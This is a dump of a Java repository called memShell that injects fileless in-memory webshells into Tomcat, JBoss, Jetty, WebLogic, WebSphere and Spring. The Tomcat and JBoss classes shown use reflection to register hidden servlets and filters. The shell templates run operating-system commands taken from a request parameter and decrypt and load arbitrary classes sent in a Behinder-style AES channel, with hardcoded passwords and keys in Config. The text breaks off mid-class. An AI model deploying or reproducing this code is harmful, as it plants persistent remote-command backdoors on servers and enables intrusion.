├── .gitignore ├── memShell.iml ├── src └── main │ ├── webapp │ ├── index.jsp │ ├── WEB-INF │ │ ├── jsp │ │ │ ├── failed.jsp │ │ │ └── success.jsp │ │ ├── applicationContext.xml │ │ ├── web.xml │ │ ├── web.xml-ForSpring │ │ ├── web.xml-ForWeblogic │ │ ├── dispatcher-servlet.xml │ │ ├── web.xml-JBoss │ │ ├── web.xml-ForWebsphere │ │ ├── web.xml-ForJetty │ │ └── web.xml-ForTomcat │ └── tomcat.jsp │ └── java │ └── com │ └── memshell │ ├── generic │ ├── MyClassLoader.java │ ├── Config.java │ ├── BasicFilter.java │ ├── Printer.java │ ├── ServletTemplate.java │ ├── FilterTemplate.java │ ├── DynamicControllerTemplate.java │ ├── DynamicServletTemplate.java │ ├── DynamicFilterTemplate.java │ └── Util.java │ ├── jboss │ ├── FilterBasedWithoutRequest.java │ └── ServletBasedWithoutRequest.java │ ├── tomcat │ ├── ServletBasedBasic.java │ ├── ServletBasedWithoutRequest.java │ ├── ServletBasedWithoutRequestVariant.java │ ├── FilterBasedBasic.java │ ├── FilterBasedWithoutRequestVariant.java │ └── FilterBasedWithoutRequest.java │ ├── spring │ └── ControllerBased.java │ ├── weblogic │ ├── FilterBasedBasic.java │ └── FilterBasedWithoutRequest.java │ ├── websphere │ ├── FilterBasedBasic.java │ ├── FilterBasedWithoutRequest.java │ └── FilterBasedWithoutRequestVariant.java │ └── jetty │ ├── FilterBasedWithoutRequest.java │ ├── FilterBasedWithoutRequestVariant.java │ ├── ServletBasedWithoutRequest.java │ └── ServletBasedWithoutRequestVariant.java ├── README.md └── pom.xml /.gitignore: -------------------------------------------------------------------------------- 1 | /target/ 2 | /out/ 3 | -------------------------------------------------------------------------------- /memShell.iml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /src/main/webapp/index.jsp: -------------------------------------------------------------------------------- 1 | 2 | 3 |

Hello World!

4 | 5 | 6 | -------------------------------------------------------------------------------- /src/main/java/com/memshell/generic/MyClassLoader.java: -------------------------------------------------------------------------------- 1 | package com.memshell.generic; 2 | 3 | public class MyClassLoader extends ClassLoader { 4 | MyClassLoader(ClassLoader c){super(c);} 5 | 6 | 7 | public static Class defineClass(byte[] bytes, ClassLoader classLoader){ 8 | return new MyClassLoader(classLoader).defineClass(bytes, 0, bytes.length); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /src/main/webapp/WEB-INF/jsp/failed.jsp: -------------------------------------------------------------------------------- 1 | <%-- 2 | Created by IntelliJ IDEA. 3 | User: 41157 4 | Date: 2020/10/18 5 | Time: 12:29 6 | To change this template use File | Settings | File Templates. 7 | --%> 8 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 9 | 10 | 11 | OK 12 | 13 | 14 |

Failed

15 | 16 | 17 | -------------------------------------------------------------------------------- /src/main/webapp/WEB-INF/applicationContext.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /src/main/webapp/WEB-INF/jsp/success.jsp: -------------------------------------------------------------------------------- 1 | <%-- 2 | Created by IntelliJ IDEA. 3 | User: 41157 4 | Date: 2020/10/18 5 | Time: 12:29 6 | To change this template use File | Settings | File Templates. 7 | --%> 8 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 9 | 10 | 11 | OK 12 | 13 | 14 |

Success

15 | 16 | 17 | -------------------------------------------------------------------------------- /src/main/java/com/memshell/generic/Config.java: -------------------------------------------------------------------------------- 1 | package com.memshell.generic; 2 | 3 | public class Config { 4 | private final static String basicCmdShellPwd = "pass"; 5 | private final static String behinderShellHeader = "X-Options-Ai"; 6 | private final static String behinderShellPwd = "e45e329feb5d925b"; // rebeyond 7 | 8 | public static String getPassword(){ 9 | return basicCmdShellPwd; 10 | } 11 | 12 | public static String getHeader(){ 13 | return behinderShellHeader; 14 | } 15 | 16 | public static String getBehinderShellPwdPwd(){ 17 | return behinderShellPwd; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /src/main/java/com/memshell/generic/BasicFilter.java: -------------------------------------------------------------------------------- 1 | package com.memshell.generic; 2 | 3 | import javax.servlet.*; 4 | import java.io.IOException; 5 | 6 | public class BasicFilter implements Filter { 7 | @Override 8 | public void init(FilterConfig filterConfig) throws ServletException { 9 | 10 | } 11 | 12 | @Override 13 | public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { 14 | System.out.println("[+]Basic Filter invoked..."); 15 | chain.doFilter(request, response); 16 | } 17 | 18 | @Override 19 | public void destroy() { 20 | 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /src/main/java/com/memshell/generic/Printer.java: -------------------------------------------------------------------------------- 1 | package com.memshell.generic; 2 | 3 | import sun.misc.BASE64Encoder; 4 | import java.io.FileInputStream; 5 | import java.io.IOException; 6 | 7 | public class Printer { 8 | 9 | public static void main(String[] args) throws IOException { 10 | 11 | String path = "G:\\code\\java\\memShell\\target\\classes\\com\\memshell\\generic\\DynamicControllerTemplate.class"; 12 | FileInputStream in = new FileInputStream(path); 13 | byte[] bytes = new byte[in.available()]; 14 | in.read(bytes); 15 | 16 | BASE64Encoder encoder = new BASE64Encoder(); 17 | String base64String = encoder.encode(bytes).replaceAll("\r\n|\r|\n",""); 18 | System.out.println(base64String); 19 | in.close(); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /src/main/webapp/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | contextConfigLocation 8 | /WEB-INF/applicationContext.xml 9 | 10 | 11 | org.springframework.web.context.ContextLoaderListener 12 | 13 | 14 | dispatcher 15 | org.springframework.web.servlet.DispatcherServlet 16 | 1 17 | 18 | 19 | dispatcher 20 | / 21 | 22 | -------------------------------------------------------------------------------- /src/main/webapp/WEB-INF/web.xml-ForSpring: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | contextConfigLocation 8 | /WEB-INF/applicationContext.xml 9 | 10 | 11 | org.springframework.web.context.ContextLoaderListener 12 | 13 | 14 | dispatcher 15 | org.springframework.web.servlet.DispatcherServlet 16 | 1 17 | 18 | 19 | dispatcher 20 | / 21 | 22 | -------------------------------------------------------------------------------- /src/main/webapp/WEB-INF/web.xml-ForWeblogic: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | Archetype Created Web Application 7 | 8 | 9 | WeblogicCase1 10 | com.memshell.weblogic.FilterBasedBasic 11 | 12 | 13 | 14 | WeblogicCase1 15 | /case1 16 | 17 | 18 | 19 | WeblogicCase2 20 | com.memshell.weblogic.FilterBasedWithoutRequest 21 | 22 | 23 | 24 | WeblogicCase2 25 | /case2 26 | 27 | 28 | 29 | TestFilter 30 | com.memshell.generic.BasicFilter 31 | 32 | 33 | 34 | TestFilter 35 | /* 36 | 37 | 38 | 39 | -------------------------------------------------------------------------------- /src/main/webapp/WEB-INF/dispatcher-servlet.xml: -------------------------------------------------------------------------------- 1 | 2 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Java memShell 2 | 3 | ### Supported Middleware 4 | - [x] Tomcat
5 | Tested on 7.0.34, 7.0.54, 7.0.70, 7.0.96, 7.0.104, 8.0.18, 8.0.32, 8.0.48, 8.5.12, 8.5.30, 8.5.56, 9.0.16, 9.0.33 6 | - [x] Weblogic
7 | Tested on 10.3.6.0, 12.1.3.0.0 8 | - [x] JBoss/Wildfly
9 | Tested on 8.0.0.Final, 18.0.0.Final, 21.0.0.Beta1 10 | - [x] Jetty
11 | Tested on 9.4.30.v20200611, 9.3.28.v20191105, 9.2.29.v20191105, 9.1.6.v20160112, failed on earlier versions 12 | - [x] Websphere
13 | Tested on Websphere Applicaton Server v8.5 and v9.0 14 | - [x] Spring (not a middleware but a framework)
15 | Tested on SpringMVC 5.2.10.RELEASE, 5.0.8.RELEASE, 4.3.28.RELEASE, 4.0.5.RELEASE, 3.2.3.RELEASE, 3.0.5.RELEASE 16 | 17 | ## Reference 18 | [Tomcat源代码调试:看不见的Shell第一式](https://www.freebuf.com/articles/web/151431.html)
19 | [基于tomcat的内存 Webshell 无文件攻击技术](https://xz.aliyun.com/t/7388)
20 | [动态注册之Servlet+Filter+Listener](https://www.jianshu.com/p/cbe1c3174d41)
21 | [基于Tomcat无文件Webshell研究](https://mp.weixin.qq.com/s/whOYVsI-AkvUJTeeDWL5dA)
22 | [tomcat不出网回显连续剧第六集](https://xz.aliyun.com/t/7535)
23 | [tomcat结合shiro无文件webshell的技术研究以及检测方法](https://mp.weixin.qq.com/s/fFYTRrSMjHnPBPIaVn9qMg)
24 | [冰蝎改造之适配基于tomcat Filter的无文件webshell](https://mp.weixin.qq.com/s/n1wrjep4FVtBkOxLouAYfQ)
25 |

26 | If you hava any suggestions, feel free to open an ```issue``` or send me email at ```huangfeihong_cs@163.com``` 27 | -------------------------------------------------------------------------------- /src/main/webapp/WEB-INF/web.xml-JBoss: -------------------------------------------------------------------------------- 1 | 4 | 5 | 9 | Archetype Created Web Application 10 | 11 | 12 | JBossCase1 13 | com.memshell.jboss.FilterBasedWithoutRequest 14 | 15 | 16 | 17 | JBossCase1 18 | /case1 19 | 20 | 21 | 22 | JBossCase2 23 | com.memshell.jboss.ServletBasedWithoutRequest 24 | 25 | 26 | 27 | JBossCase2 28 | /case2 29 | 30 | 31 | 32 | TestFilter 33 | com.memshell.generic.BasicFilter 34 | 35 | 36 | 37 | TestFilter 38 | /* 39 | 40 | 41 | 42 | -------------------------------------------------------------------------------- /src/main/webapp/WEB-INF/web.xml-ForWebsphere: -------------------------------------------------------------------------------- 1 | 4 | 5 | 9 | Archetype Created Web Application 10 | 11 | 12 | WebsphereCase1 13 | com.memshell.websphere.FilterBasedBasic 14 | 15 | 16 | 17 | WebsphereCase1 18 | /case1 19 | 20 | 21 | 22 | WebsphereCase2 23 | com.memshell.websphere.FilterBasedWithoutRequest 24 | 25 | 26 | 27 | WebsphereCase2 28 | /case2 29 | 30 | 31 | 32 | WebsphereCase3 33 | com.memshell.websphere.FilterBasedWithoutRequestVariant 34 | 35 | 36 | 37 | WebsphereCase3 38 | /case3 39 | 40 | 41 | 42 | TestFilter 43 | com.memshell.generic.BasicFilter 44 | 45 | 46 | 47 | TestFilter 48 | /* 49 | 50 | 51 | 52 | -------------------------------------------------------------------------------- /src/main/webapp/WEB-INF/web.xml-ForJetty: -------------------------------------------------------------------------------- 1 | 4 | 5 | 9 | Archetype Created Web Application 10 | 11 | 12 | JettyCase1 13 | com.memshell.jetty.FilterBasedWithoutRequest 14 | 15 | 16 | 17 | JettyCase1 18 | /case1 19 | 20 | 21 | 22 | JettyCase2 23 | com.memshell.jetty.ServletBasedWithoutRequest 24 | 25 | 26 | 27 | JettyCase2 28 | /case2 29 | 30 | 31 | 32 | JettyCase3 33 | com.memshell.jetty.FilterBasedWithoutRequestVariant 34 | 35 | 36 | 37 | JettyCase3 38 | /case3 39 | 40 | 41 | 42 | JettyCase4 43 | com.memshell.jetty.ServletBasedWithoutRequestVariant 44 | 45 | 46 | 47 | JettyCase4 48 | /case4 49 | 50 | 51 | 52 | TestFilter 53 | com.memshell.generic.BasicFilter 54 | 55 | 56 | 57 | TestFilter 58 | /* 59 | 60 | 61 | 62 | -------------------------------------------------------------------------------- /src/main/webapp/WEB-INF/web.xml-ForTomcat: -------------------------------------------------------------------------------- 1 | 4 | 5 | 9 | Archetype Created Web Application 10 | 11 | 12 | TomcatCase1 13 | com.memshell.tomcat.FilterBasedBasic 14 | 15 | 16 | 17 | TomcatCase1 18 | /case1 19 | 20 | 21 | 22 | TomcatCase2 23 | com.memshell.tomcat.FilterBasedWithoutRequest 24 | 25 | 26 | 27 | TomcatCase2 28 | /case2 29 | 30 | 31 | 32 | TomcatCase3 33 | com.memshell.tomcat.FilterBasedWithoutRequestVariant 34 | 35 | 36 | 37 | TomcatCase3 38 | /case3 39 | 40 | 41 | 42 | TomcatCase4 43 | com.memshell.tomcat.ServletBasedBasic 44 | 45 | 46 | 47 | TomcatCase4 48 | /case4 49 | 50 | 51 | 52 | TomcatCase5 53 | com.memshell.tomcat.ServletBasedWithoutRequest 54 | 55 | 56 | 57 | TomcatCase5 58 | /case5 59 | 60 | 61 | 62 | TomcatCase6 63 | com.memshell.tomcat.ServletBasedWithoutRequestVariant 64 | 65 | 66 | 67 | TomcatCase6 68 | /case6 69 | 70 | 71 | 72 | TestFilter 73 | com.memshell.generic.BasicFilter 74 | 75 | 76 | 77 | TestFilter 78 | /* 79 | 80 | 81 | 82 | -------------------------------------------------------------------------------- /src/main/java/com/memshell/jboss/FilterBasedWithoutRequest.java: -------------------------------------------------------------------------------- 1 | package com.memshell.jboss; 2 | 3 | import com.memshell.generic.Util; 4 | import io.undertow.servlet.api.DeploymentInfo; 5 | import io.undertow.servlet.api.FilterInfo; 6 | import io.undertow.servlet.core.DeploymentImpl; 7 | import io.undertow.servlet.spec.HttpServletRequestImpl; 8 | import io.undertow.servlet.util.ConstructorInstanceFactory; 9 | import javax.security.jacc.PolicyContext; 10 | import javax.servlet.DispatcherType; 11 | import javax.servlet.Filter; 12 | import javax.servlet.ServletContext; 13 | import javax.servlet.http.HttpServlet; 14 | import javax.servlet.http.HttpServletRequest; 15 | import javax.servlet.http.HttpServletResponse; 16 | import java.lang.reflect.Field; 17 | import java.lang.reflect.Modifier; 18 | import java.util.Map; 19 | 20 | public class FilterBasedWithoutRequest extends HttpServlet { 21 | @Override 22 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) { 23 | // 参考: 24 | // 《Dynamic Servlet Registration》 http://www.mastertheboss.com/javaee/servlet-30/dynamic-servlet-registration 25 | // 《JBOSS 无文件webshell的技术研究》 https://mp.weixin.qq.com/s/_SQS9B7tkL1H5fMIgPTOKw 26 | 27 | try{ 28 | String filterName = "jbossFilter"; 29 | String urlPattern = "/666"; 30 | 31 | HttpServletRequestImpl request = (HttpServletRequestImpl) PolicyContext.getContext("javax.servlet.http.HttpServletRequest"); 32 | ServletContext context = request.getServletContext(); 33 | Field f = context.getClass().getDeclaredField("deploymentInfo"); 34 | f.setAccessible(true); 35 | DeploymentInfo deploymentInfo = (DeploymentInfo)f.get(context); 36 | 37 | //只添加一次 38 | Map filters = deploymentInfo.getFilters(); 39 | if(!filters.containsKey(filterName)){ 40 | System.out.println("[+] Add Dynamic Filter"); 41 | 42 | Class clazz = Util.getDynamicFilterTemplateClass(); 43 | FilterInfo filter = new FilterInfo(filterName, clazz, new ConstructorInstanceFactory(clazz.getDeclaredConstructor())); 44 | deploymentInfo.addFilter(filter); 45 | 46 | f = context.getClass().getDeclaredField("deployment"); 47 | f.setAccessible(true); 48 | Field modifiersField = Field.class.getDeclaredField("modifiers"); 49 | modifiersField.setAccessible(true); 50 | modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); 51 | DeploymentImpl deployment = (DeploymentImpl)f.get(context); 52 | deployment.getFilters().addFilter(filter); 53 | 54 | // 0 表示把我们动态注册的 filter 放在第一位 55 | deploymentInfo.insertFilterUrlMapping(0, filterName, urlPattern, DispatcherType.REQUEST); 56 | } 57 | }catch(Exception e){ 58 | e.printStackTrace(); 59 | } 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /src/main/java/com/memshell/generic/ServletTemplate.java: -------------------------------------------------------------------------------- 1 | package com.memshell.generic; 2 | 3 | import javax.crypto.Cipher; 4 | import javax.crypto.spec.SecretKeySpec; 5 | import javax.servlet.ServletRequest; 6 | import javax.servlet.ServletResponse; 7 | import javax.servlet.http.HttpServlet; 8 | import javax.servlet.http.HttpServletRequest; 9 | import javax.servlet.http.HttpServletResponse; 10 | import java.io.File; 11 | import java.io.IOException; 12 | import java.lang.reflect.Method; 13 | import java.util.Scanner; 14 | 15 | public class ServletTemplate extends HttpServlet { 16 | @Override 17 | protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException { 18 | System.out.println("[+] Dynamic Servlet says hello"); 19 | 20 | if(request.getParameter("type") != null && request.getParameter("type").equals("basic")){ 21 | //basic cmd shell 22 | String cmd = request.getParameter(Config.getPassword()); 23 | if(cmd != null && !cmd.isEmpty()){ 24 | String[] cmds = null; 25 | if(File.separator.equals("/")){ 26 | cmds = new String[]{"/bin/sh", "-c", cmd}; 27 | }else{ 28 | cmds = new String[]{"cmd", "/C", cmd}; 29 | } 30 | String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next(); 31 | response.getWriter().println(result); 32 | } 33 | }else if(request.getHeader(Config.getHeader()) != null){ 34 | //behind3 shell 35 | try{ 36 | if (request.getMethod().equals("POST")){ 37 | String k = Config.getBehinderShellPwdPwd(); 38 | request.getSession().setAttribute("u",k); 39 | Cipher cipher = Cipher.getInstance("AES"); 40 | cipher.init(2, new SecretKeySpec((request.getSession().getAttribute("u") + "").getBytes(), "AES")); 41 | byte[] evilClassBytes = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())); 42 | Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes); 43 | Object evilObject = evilClass.newInstance(); 44 | Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class}); 45 | targetMethod.invoke(evilObject, new Object[]{request, response}); 46 | } 47 | }catch(Exception e){ 48 | e.printStackTrace(); 49 | } 50 | } 51 | } 52 | 53 | @Override 54 | protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { 55 | doPost(request, response); 56 | } 57 | 58 | class U extends ClassLoader{ 59 | U(ClassLoader c){super(c);} 60 | 61 | public Class g(byte []b){return super.defineClass(b,0,b.length);} 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /src/main/java/com/memshell/tomcat/ServletBasedBasic.java: -------------------------------------------------------------------------------- 1 | package com.memshell.tomcat; 2 | 3 | import com.memshell.generic.ServletTemplate; 4 | import org.apache.catalina.Wrapper; 5 | import org.apache.catalina.core.ApplicationContext; 6 | import org.apache.catalina.core.ApplicationServletRegistration; 7 | import org.apache.catalina.core.StandardContext; 8 | import javax.servlet.*; 9 | import javax.servlet.http.HttpServlet; 10 | import javax.servlet.http.HttpServletRequest; 11 | import javax.servlet.http.HttpServletResponse; 12 | import java.lang.reflect.Field; 13 | import java.lang.reflect.Modifier; 14 | 15 | public class ServletBasedBasic extends HttpServlet { 16 | @Override 17 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) { 18 | // 参考: 19 | // 《Tomcat源代码调试:看不见的Shell第一式》 https://www.freebuf.com/articles/web/151431.html 20 | // 《基于tomcat的内存 Webshell 无文件攻击技术》 https://xz.aliyun.com/t/7388 21 | // 《动态注册之Servlet+Filter+Listener》 https://www.jianshu.com/p/cbe1c3174d41 22 | // 《基于Tomcat无文件Webshell研究》 https://mp.weixin.qq.com/s/whOYVsI-AkvUJTeeDWL5dA 23 | // 《tomcat不出网回显连续剧第六集》 https://xz.aliyun.com/t/7535 24 | // 《tomcat结合shiro无文件webshell的技术研究以及检测方法》 https://mp.weixin.qq.com/s/fFYTRrSMjHnPBPIaVn9qMg 25 | // 26 | // 适用范围: Tomcat 7 ~ 9 27 | 28 | try{ 29 | String servrletName = "myServlet1"; 30 | String urlPattern = "/xxx"; 31 | 32 | // 获取 standardContext 33 | ServletContext servletContext = req.getServletContext(); 34 | Field field = servletContext.getClass().getDeclaredField("context"); 35 | field.setAccessible(true); 36 | ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext); 37 | 38 | field = applicationContext.getClass().getDeclaredField("context"); 39 | field.setAccessible(true); 40 | Field modifiersField = Field.class.getDeclaredField("modifiers"); 41 | modifiersField.setAccessible(true); 42 | modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL); 43 | StandardContext standardContext = (StandardContext) field.get(applicationContext); 44 | 45 | if(standardContext.findChild(servrletName) == null){ 46 | System.out.println("[+] Add Dynamic Servlet"); 47 | 48 | Wrapper wrapper = standardContext.createWrapper(); 49 | wrapper.setName(servrletName); 50 | standardContext.addChild(wrapper); 51 | Servlet servlet = new ServletTemplate(); 52 | 53 | wrapper.setServletClass(servlet.getClass().getName()); 54 | wrapper.setServlet(servlet); 55 | ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext); 56 | registration.addMapping(urlPattern); 57 | } 58 | }catch(Exception e){ 59 | e.printStackTrace(); 60 | } 61 | } 62 | } -------------------------------------------------------------------------------- /src/main/java/com/memshell/jboss/ServletBasedWithoutRequest.java: -------------------------------------------------------------------------------- 1 | package com.memshell.jboss; 2 | 3 | import com.memshell.generic.Util; 4 | import io.undertow.servlet.api.DeploymentInfo; 5 | import io.undertow.servlet.api.ServletInfo; 6 | import io.undertow.servlet.core.DeploymentImpl; 7 | import io.undertow.servlet.handlers.ServletHandler; 8 | import io.undertow.servlet.spec.HttpServletRequestImpl; 9 | import io.undertow.servlet.spec.ServletRegistrationImpl; 10 | import io.undertow.servlet.util.ConstructorInstanceFactory; 11 | import javax.security.jacc.PolicyContext; 12 | import javax.servlet.Servlet; 13 | import javax.servlet.ServletContext; 14 | import javax.servlet.http.HttpServlet; 15 | import javax.servlet.http.HttpServletRequest; 16 | import javax.servlet.http.HttpServletResponse; 17 | import java.lang.reflect.Field; 18 | import java.lang.reflect.Modifier; 19 | import java.util.Map; 20 | 21 | public class ServletBasedWithoutRequest extends HttpServlet { 22 | @Override 23 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) { 24 | // 参考: 25 | // 《Dynamic Servlet Registration》 http://www.mastertheboss.com/javaee/servlet-30/dynamic-servlet-registration 26 | // 《JBOSS 无文件webshell的技术研究》 https://mp.weixin.qq.com/s/_SQS9B7tkL1H5fMIgPTOKw 27 | 28 | try{ 29 | String servletName = "jbossServlet"; 30 | String urlPattern = "/999"; 31 | 32 | HttpServletRequestImpl request = (HttpServletRequestImpl) PolicyContext.getContext("javax.servlet.http.HttpServletRequest"); 33 | ServletContext context = request.getServletContext(); 34 | Field f = context.getClass().getDeclaredField("deploymentInfo"); 35 | f.setAccessible(true); 36 | DeploymentInfo deploymentInfo = (DeploymentInfo)f.get(context); 37 | 38 | //只添加一次 39 | Map servlets = deploymentInfo.getServlets(); 40 | if(!servlets.containsKey(servletName)){ 41 | System.out.println("[+] Add Dynamic Servlet"); 42 | 43 | Class clazz = Util.getDynamicServletTemplateClass(); 44 | ServletInfo servletInfo = new ServletInfo(servletName, clazz, new ConstructorInstanceFactory(clazz.getDeclaredConstructor())); 45 | deploymentInfo.addServlet(servletInfo); 46 | 47 | f = context.getClass().getDeclaredField("deployment"); 48 | f.setAccessible(true); 49 | Field modifiersField = Field.class.getDeclaredField("modifiers"); 50 | modifiersField.setAccessible(true); 51 | modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); 52 | DeploymentImpl deployment = (DeploymentImpl)f.get(context); 53 | ServletHandler handler = deployment.getServlets().addServlet(servletInfo); 54 | 55 | ServletRegistrationImpl registration = new ServletRegistrationImpl(servletInfo, handler.getManagedServlet(), deployment); 56 | registration.addMapping(urlPattern); 57 | } 58 | }catch(Exception e){ 59 | e.printStackTrace(); 60 | } 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /src/main/java/com/memshell/generic/FilterTemplate.java: -------------------------------------------------------------------------------- 1 | package com.memshell.generic; 2 | 3 | import javax.crypto.Cipher; 4 | import javax.crypto.spec.SecretKeySpec; 5 | import javax.servlet.*; 6 | import javax.servlet.http.HttpServletRequest; 7 | import java.io.File; 8 | import java.io.IOException; 9 | import java.lang.reflect.Method; 10 | import java.util.Scanner; 11 | 12 | public class FilterTemplate implements Filter { 13 | @Override 14 | public void init(FilterConfig filterConfig) throws ServletException { 15 | 16 | } 17 | 18 | @Override 19 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { 20 | System.out.println("[+] Dynamic Filter says hello"); 21 | 22 | if(servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")){ 23 | //basic cmd shell 24 | String cmd = servletRequest.getParameter(Config.getPassword()); 25 | if(cmd != null && !cmd.isEmpty()){ 26 | String[] cmds = null; 27 | if(File.separator.equals("/")){ 28 | cmds = new String[]{"/bin/sh", "-c", cmd}; 29 | }else{ 30 | cmds = new String[]{"cmd", "/C", cmd}; 31 | } 32 | String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next(); 33 | servletResponse.getWriter().println(result); 34 | } 35 | }else if(((HttpServletRequest)servletRequest).getHeader(Config.getHeader()) != null){ 36 | //behind3 shell 37 | try{ 38 | if (((HttpServletRequest)servletRequest).getMethod().equals("POST")){ 39 | String k = Config.getBehinderShellPwdPwd(); 40 | ((HttpServletRequest)servletRequest).getSession().setAttribute("u",k); 41 | Cipher cipher = Cipher.getInstance("AES"); 42 | cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES")); 43 | byte[] evilClassBytes = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(servletRequest.getReader().readLine())); 44 | Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes); 45 | Object evilObject = evilClass.newInstance(); 46 | Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class}); 47 | targetMethod.invoke(evilObject, new Object[]{servletRequest, servletResponse}); 48 | } 49 | }catch(Exception e){ 50 | e.printStackTrace(); 51 | } 52 | }else{ 53 | filterChain.doFilter(servletRequest, servletResponse); 54 | } 55 | } 56 | 57 | @Override 58 | public void destroy() { 59 | 60 | } 61 | 62 | class U extends ClassLoader{ 63 | U(ClassLoader c){super(c);} 64 | 65 | public Class g(byte []b){return super.defineClass(b,0,b.length);} 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /src/main/java/com/memshell/tomcat/ServletBasedWithoutRequest.java: -------------------------------------------------------------------------------- 1 | package com.memshell.tomcat; 2 | 3 | import com.memshell.generic.ServletTemplate; 4 | import com.sun.jmx.mbeanserver.NamedObject; 5 | import com.sun.jmx.mbeanserver.Repository; 6 | import org.apache.catalina.Wrapper; 7 | import org.apache.catalina.core.ApplicationServletRegistration; 8 | import org.apache.catalina.core.StandardContext; 9 | import org.apache.tomcat.util.modeler.Registry; 10 | import javax.management.DynamicMBean; 11 | import javax.management.MBeanServer; 12 | import javax.management.ObjectName; 13 | import javax.servlet.*; 14 | import javax.servlet.http.HttpServlet; 15 | import javax.servlet.http.HttpServletRequest; 16 | import javax.servlet.http.HttpServletResponse; 17 | import java.lang.reflect.Field; 18 | import java.util.Set; 19 | 20 | public class ServletBasedWithoutRequest extends HttpServlet { 21 | @Override 22 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) { 23 | try{ 24 | String servrletName = "myServlet2"; 25 | String urlPattern = "/yyy"; 26 | 27 | MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer(); 28 | Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); 29 | field.setAccessible(true); 30 | Object obj = field.get(mbeanServer); 31 | 32 | field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); 33 | field.setAccessible(true); 34 | Repository repository = (Repository) field.get(obj); 35 | 36 | Set objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null); 37 | for(NamedObject namedObject : objectSet){ 38 | try{ 39 | DynamicMBean dynamicMBean = namedObject.getObject(); 40 | field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); 41 | field.setAccessible(true); 42 | obj = field.get(dynamicMBean); 43 | 44 | field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context"); 45 | field.setAccessible(true); 46 | StandardContext standardContext = (StandardContext)field.get(obj); 47 | 48 | if(standardContext.findChild(servrletName) == null){ 49 | System.out.println("[+] Add Dynamic Servlet"); 50 | 51 | Wrapper wrapper = standardContext.createWrapper(); 52 | wrapper.setName(servrletName); 53 | standardContext.addChild(wrapper); 54 | Servlet servlet = new ServletTemplate(); 55 | wrapper.setServletClass(servlet.getClass().getName()); 56 | wrapper.setServlet(servlet); 57 | ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext); 58 | registration.addMapping(urlPattern); 59 | } 60 | }catch(Exception e){ 61 | //pass 62 | } 63 | } 64 | }catch(Exception e){ 65 | e.printStackTrace(); 66 | } 67 | } 68 | } -------------------------------------------------------------------------------- /src/main/java/com/memshell/tomcat/ServletBasedWithoutRequestVariant.java: -------------------------------------------------------------------------------- 1 | package com.memshell.tomcat; 2 | 3 | import com.memshell.generic.Util; 4 | import com.sun.jmx.mbeanserver.NamedObject; 5 | import com.sun.jmx.mbeanserver.Repository; 6 | import org.apache.catalina.Wrapper; 7 | import org.apache.catalina.core.ApplicationServletRegistration; 8 | import org.apache.catalina.core.StandardContext; 9 | import org.apache.tomcat.util.modeler.Registry; 10 | import javax.management.DynamicMBean; 11 | import javax.management.MBeanServer; 12 | import javax.management.ObjectName; 13 | import javax.servlet.*; 14 | import javax.servlet.http.HttpServlet; 15 | import javax.servlet.http.HttpServletRequest; 16 | import javax.servlet.http.HttpServletResponse; 17 | import java.lang.reflect.Field; 18 | import java.util.Set; 19 | 20 | public class ServletBasedWithoutRequestVariant extends HttpServlet { 21 | @Override 22 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) { 23 | try{ 24 | String servrletName = "myServlet3"; 25 | String urlPattern = "/zzz"; 26 | 27 | MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer(); 28 | Field field = 